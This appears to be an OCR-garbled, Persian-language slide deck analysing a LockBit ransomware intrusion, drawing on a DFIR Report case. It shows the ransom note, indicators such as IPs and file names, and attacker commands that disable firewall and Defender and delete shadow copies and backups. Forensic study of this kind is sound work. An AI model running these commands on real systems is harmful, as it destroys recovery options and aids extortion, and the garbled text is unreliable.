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Lockbit Ransomware

Why you no spread
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(@ lockbit-decryptor.com/?9 4 vee x4

YOUR FILES

ARE ENCRYPTED
BY LOCKBIT

L ol
3
@,@ What happpend? é How to recover my files?

TR @
Many of your documents, databases, videos and other important We guarantee that you can recover all your files safely and easily.
files are no longer accessible because they have ben encrypted. You can decrypt a single file for warranty - we can do It. But If you
Maybe you are busy locking for a way to recover your iles, but do want to decrypt all your files, you need to pay.
not waste your time. Nobody can recover your files without our
decryption service. Write to support If you want to buy decryptor.

(Initial Access) adgl ow yiws
IP 165.231.142.36 L RDP (3, jl wiases 4 55,
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@ Securityworld.ir Challenginno.ir



fo.m.mu.um—LsJ.uquLLo:Uu_Jl_}g @
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25 Appdata s j0 45 gl S bl 1) s el glaglis b oo 5 oolatwl 515l L1

%APPDATA%\svchost.exe

5,5 oo Lz 1 515 Slygiss 3l oy

netsh firewall set opmode disable
net stop security center
net stop WinDefend

S38lzl a5l am oo il a5 5L (ol Sl FTP g0 G L) 0g5 LLS I 58100 s

data.win.eventdata.image data.win.eventdata.destinationip data.win.eventdata.destinationPort
C:\\Users\\Administrator\\AppData\\Roaming\\svchost.exe 185.86.76.30 35461
C:\\Users\\Administrator\\AppData\\Roaming\\svchost.exe 185.86.76.30

b slaads Hakopsl5 ;i solawwl b ¢ oo oogll 5lom )b G 59, o SVChOST 4 0l saalics aslsl jo
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[HAKOPS_K 15/ M0.07.39 AM/Kayitlar.html
76.30//HAKOPS_K 15/ [2.07.46 PM/Kayitlar.htmi
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screensaver.exe
9689A16B72D48DAB.exe

ol 005 ooliiw] ales yo SCreensaver.exe bls o, oo ,h 4 o d pds O ygo a5 olo oy o b al
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Desktop Locker

Flease enter a password to unlock the screen
and press Enter.
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Ei Desktop Locker

Password to unlock

Hide password

[] Dizplay output and restart

™
u

Block mouse

Transparency

Shorteut on| Desktop

[] startup

OK

ol Lockbit 3512l g 5l aS o 1l Bolas sae b b ol b ol sl 4
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\"C:\\Windows\\System32\\cmd.exe\" /c vssadmin delete shadows /all /quiet &amp; wmic
shadowcopy delete &; bcdedit /set {default} bootstatuspolicy ignoreallfailures &; bcdedit /set
{default} recoveryenabled no &; wbadmin delete catalog -quiet

vssadmin delete shadows /all /quiet
wmic shadowcopy delete

bcdedit /set {default} bootstatuspolicy ignoreallfailures

bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet

@live hosts) oui; slabime 4 o g 23S o PiNG 1, /16 o JS ol BB oS waus o] 5l o

Sy 00t oy (w8ly (Sogll e Ll wsd oo Jog SMB 3, )L

Ao 00l olwlils o share g og 3850 Cosn 5>l as Jl> jo s (idu 18020 1 raegd o o

data.win.eventdata.image
C:\\Users\\Administrator\\Desktop\\New folder (3)\\9689A16B72D48DAB.exe

C:\\Users\\Administrator\\Desktop\\New folder (3)\\9689A16B72D48DAB.exe

C:\\Users\\Administrator\\Desktop\\New folder (3)\\9689A16B72D48DAB.exe

(

(
C:\\Users\\Administrator\\Desktop\\New folder (3)\1\9689A16B72D48DAB.exe

(

(

C:\\Users\\Administrator\\Desktop\New folder (3)\\9689A16B72D48DAB.exe

data.win.eventdata.destinationip

18. .62
18. .61
18. 248
18. 241
18. .258

data.win.eventdata.destinationPort

445

445

445

445

445
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WJN. Restare-My-Files - Motepad

File Edit Format ‘iew Help

Iﬂll your important files are encrypted!

Any attempts to restore your files with the thrid-party software will be fatal for your files!
RESTCRE VOU DATA POSIELE OMLY BUYING private key from us.

There iz only one way to get your files back:

1) Through a standard browser(FireFox, Chrome, Edge, Opera)
| 1. Open link http://lockbit-decryptor.com/?9¢ 4
| 2. Follow the instructions on this page

2) Through a Tor Browser - recommended

| 1. Download Tor browser - https://www.torproject.org/ and install it.

| 2. Open link in TOR brawser - http://lockbitks2tvnmak.onion/? 5% 4
This 1ink only works in Tor Browser!

| 3. Follow the instructions on this page

R Attentionl R

# lockbit-decryptor.com may be blocked. We recommend using a Tor browser to access the site

# Do not rename encrypted files.

# Do not try to decrypt using third party software, i1t may cause permanent data loss.

# Decryption of your files with the help of third parties may cause increased price(they add their fee to our).

# Tor Browser may be blocked in your country or corporate network. Use https://bridges.torproject.org or use Tor Browser owver WPN.
# Tor Browser user manual https://tb-manual.torproject.org/about

2905 3l 3 1) 25 (6 ) slaals” Lockbit oy zen

[ Registry Editor
File Edit ‘iew Favorites Help
Computer\HKEY_CURRENT_USER!Saftwarel ockBit
Control Panel Al Name Type Data

:a\[f;::anmmt ab| (Default) REG_SZ {value not set)
s full REG_BIMARY Q2189630f2 172016 B 4467 da 2 02 e8 37 bOfe 05 3354 be 2B b0 54 1h 2804 5b ...
Keyboard Layout

Nebwork ¥ Public REG_BIMNARY 27635409 ca 213437 70 d2 648 6a 7f a6 2% 0c 7 5d 34 ed cb 7d a2 70 ea ab 80...
4

Printers
Remote
v | | Software
' Aventhlet
AppDatal o

:Lockbit Slociy axin
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https://thedfirreport.com/2020/06/10/lockbit-ransomware-why-you-no-spread/
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